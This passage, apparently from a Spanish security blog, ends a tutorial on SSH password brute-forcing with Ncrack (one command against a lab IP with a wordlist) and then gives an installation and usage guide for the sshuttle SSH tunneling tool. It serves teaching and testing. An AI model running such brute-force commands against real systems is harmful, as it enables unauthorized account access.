• Manual de referencia: https://nmap.org/ncrack/man.html
• Repositorio: https://github.com/nmap/ncrack

Continuando el ejemplo anterior, realizamos un ataque de fuerza bruta al servicio SSH con un mismo usuario usando una wordlist de contraseñas.

ncrack -p 22 --user pepe -P wordlist 10.0.0.40

• -p: Puerto estándar usando por el servicio.
• --user: Nombre de usuario único.
• -P: Fichero de lista de contraseñas.

Al igual que THC-Hydra y Medusa, Ncrack también deja su registro en el log. En la siguiente captura se observa como en un primer intento con el usuario juan no fue posible realizar la conexión con el usuario juan pero si con el usuario pepe, lo cual es correcto. Con una lista de 8 contraseñas posibles, en ambos el tiempo de comprobación fue de 3 segundos.

Figura 11: Ncrack - Fuerza bruta en profundidad al servicio SSH. 

Saludos!

sshuttle: Múltiples túneles SSH y "VPN" (Proxy transparente)

sshuttle. Se trata de un cliente SSH desarrollado en pyhton que actúa como un proxy transparente funcionando como una "VPN". No se trata de una VPN como definición, sshuttle crea de forma automática distintas reglas usando pfctl (pf - Packet Filter) o en su defecto iptables para un múltiple reenvío de puertos a través de una conexión tunelizada vía SSH.

Ya comentara las diferencias entre los distintos tipos de túneles SSH. Esta aplicación nos abstrae de los detalles de realizar manualmente cada reenvío -port forwarding- a cada IP/Puerto hacia la red remota a la que queremos acceder.

La funcionalidad es como si realmente estuviéramos utilizando una VPN pero canalizada por una única conexión SSH a través de un host de la red remota que hará de equipo puente realizando múltiples túneles de reenvío. Su principal desarrollador Brian May, la define como "la VPN para el hombre pobre".

Soporta tunelización de DNS redireccionando todo el tráfico DNS local a través de la conexión SSH al host remoto, como si estuviéramos utilizando las direcciones DNS de la red remota. Por lo que toda la navegación es como si la hiciésemos a través de la red remota a la que nos conectamos, algo similar a un -dynamic port forwarding- o Proxy SOCKS

Si nos conectamos en un red wifi abierta o pública y queremos estar más seguros navegando y/o acceder a recursos internos de nuestra red doméstica sin necesidad de implementar o alquilar servicio VPN externo de terceros, esta aplicación es una muy buena solución.

Es compatible con Linux y MacOS (Windows con cygwin instalado).

• Repositorio Github: https://github.com/sshuttle/sshuttle
• Docs: https://sshuttle.readthedocs.io/en/stable/

Instalar sshuttle

git clone https://github.com/sshuttle/sshuttle.git
cd sshuttle
sudo ./setup.py install

En mi caso dispongo de una  RaspberryPi con el servicio SSH expuesto a Internet en un puerto no estándar.

Uso de sshuttle

sshuttle [-l [ip:]port] [-r [user@]sshserver[:port]] <subnets...>

sshuttle -v --dns -r USUARIO@IP:PUERTO 192.168.0.0/24

La opción --dns indica el tunelizado de tráfico DNS. 

En el caso de MacOS usa reglas de filtrado de redirección con pf (pfctl). Ejemplo de autenticación con clave pública.

MacOS:~ adrian$ sshuttle -v --dns -r USER@IP/DNS:PORT 10.0.0.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 2.7.16
firewall manager: ready method name pf.
IPv6 enabled: True
UDP enabled: False
DNS enabled: True
User enabled: False
TCP redirector listening on ('::1', 12300, 0, 0).
TCP redirector listening on ('127.0.0.1', 12300).
DNS listening on ('::1', 12299, 0, 0).
DNS listening on ('127.0.0.1', 12299).
Starting client with Python version 2.7.16
c : connecting to server...
Starting server with Python version 3.6.9
 s: latency control setting = True
 s: auto-nets:False
c : Connected.
firewall manager: setting up.
>> pfctl -s Interfaces -i lo -v
>> pfctl -s all
>> pfctl -a sshuttle6-12300 -f /dev/stdin
>> pfctl -E
>> pfctl -s Interfaces -i lo -v
>> pfctl -s all
>> pfctl -a sshuttle-12300 -f /dev/stdin
>> pfctl -E
c : DNS request from ('10.0.0.16', 51556) to None: 31 bytes

En el caso de Ubuntu usa reglas de filtrado de redirección con iptables. Ejemplo de autenticación con password.

adrian@ubuntu:~$ sshuttle -v --dns -r USER@DNS/IP:PORT 10.0.0.0/24
Starting sshuttle proxy.
firewall manager: Starting firewall with Python version 3.6.9
firewall manager: ready method name nat.
IPv6 enabled: False
UDP enabled: False
DNS enabled: True
TCP redirector listening on ('127.0.0.1', 12300).
DNS listening on ('127.0.0.1', 12300).
Starting client with Python version 3.6.9
c : connecting to server...
USER@DNS/IP's password:
Starting server with Python version 2.7.17
 s: latency control setting = True
 s: available routes:
c : Connected.
 s:   2/10.0.0.0/24
 s:   2/172.17.0.0/16
 s:   2/172.18.0.0/16
firewall manager: setting up.
>> iptables -t nat -N sshuttle-12300
>> iptables -t nat -F sshuttle-12300
>> iptables -t nat -I OUTPUT 1 -j sshuttle-12300
>> iptables -t nat -I PREROUTING 1 -j sshuttle-12300
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.0.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 127.0.0.53/32 -p udp --dport 53 --to-ports 12300 -m ttl ! --ttl 42

En el caso de Windows se complica el uso de esta herramienta.

Se propone instalar una máquina virtual Linux en modo puente que haga la conexión con sshuttle y desde la máquina anfitrión Windows enrutar todo el tráfico hacia la máquina Linux.

Info: https://sshuttle.readthedocs.io/en/stable/windows.html

Saludos!